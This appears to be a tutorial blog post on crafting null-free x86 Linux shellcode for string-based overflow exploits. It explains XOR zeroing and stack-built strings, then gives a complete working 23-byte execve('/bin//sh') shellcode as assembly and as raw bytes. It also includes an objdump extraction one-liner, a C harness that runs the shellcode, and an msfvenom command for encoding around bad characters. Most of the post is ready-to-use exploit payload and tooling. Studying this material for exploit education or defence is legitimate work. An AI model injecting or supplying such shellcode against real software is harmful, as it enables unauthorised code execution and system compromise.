When injecting shellcode through string-based vulnerabilities, null bytes (\x00) terminate the copy operation. This post covers techniques for writing null-free shellcode.
The Problem
Simple shellcode often contains nulls:
mov eax, 0xb ; b8 0b 00 00 00 - contains nulls!
mov ebx, 0x804a000 ; bb 00 a0 04 08 - contains null!Technique 1: XOR Zeroing
Instead of mov eax, 0, use XOR:
xor eax, eax ; 31 c0 - no nulls!This sets EAX to zero because any value XORed with itself equals zero.
Technique 2: Partial Register Access
x86 allows accessing register portions:
; Instead of: mov eax, 0xb (contains nulls)
xor eax, eax ; Zero EAX first
mov al, 0xb ; b0 0b - only set low byteTechnique 3: Stack-Based Strings
Push string components in reverse:
xor eax, eax
push eax ; Null terminator (pushed as 4 bytes)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; EBX points to "/bin//sh\0"The extra / in //sh pads to 4 bytes and is ignored by the shell.
Complete Example
Null-free execve("/bin//sh", NULL, NULL):
section .text
global _start
_start:
xor eax, eax ; Zero EAX
push eax ; Push null terminator
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; EBX = pointer to "/bin//sh"
mov ecx, eax ; ECX = NULL (argv)
mov edx, eax ; EDX = NULL (envp)
mov al, 0xb ; Syscall 11 = execve
int 0x80 ; ExecuteAssembled Bytes
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80Only 23 bytes, no nulls.
Extracting Shellcode
Use objdump to get bytes:
objdump -d shellcode | grep '[0-9a-f]:' | \
grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | \
tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | \
sed 's/ /\\x/g' | paste -d '' -s | \
sed 's/^/"/' | sed 's/$/"/g'Testing Shellcode
Create a test harness:
// gcc -m32 -z execstack -o test test.c
char shellcode[] = "\x31\xc0\x50...";
int main() {
((void(*)())shellcode)();
return 0;
}Other Bad Characters
Beyond null bytes, watch for:
\x0a- Newline (terminates line input)\x0d- Carriage return\x20- Space (URL/HTTP parsing)\x3f- Question mark (URL parsing)
Use msfvenom’s -b flag to encode around bad characters:
msfvenom -p linux/x86/exec CMD=/bin/sh -b '\x00\x0a\x0d' -f c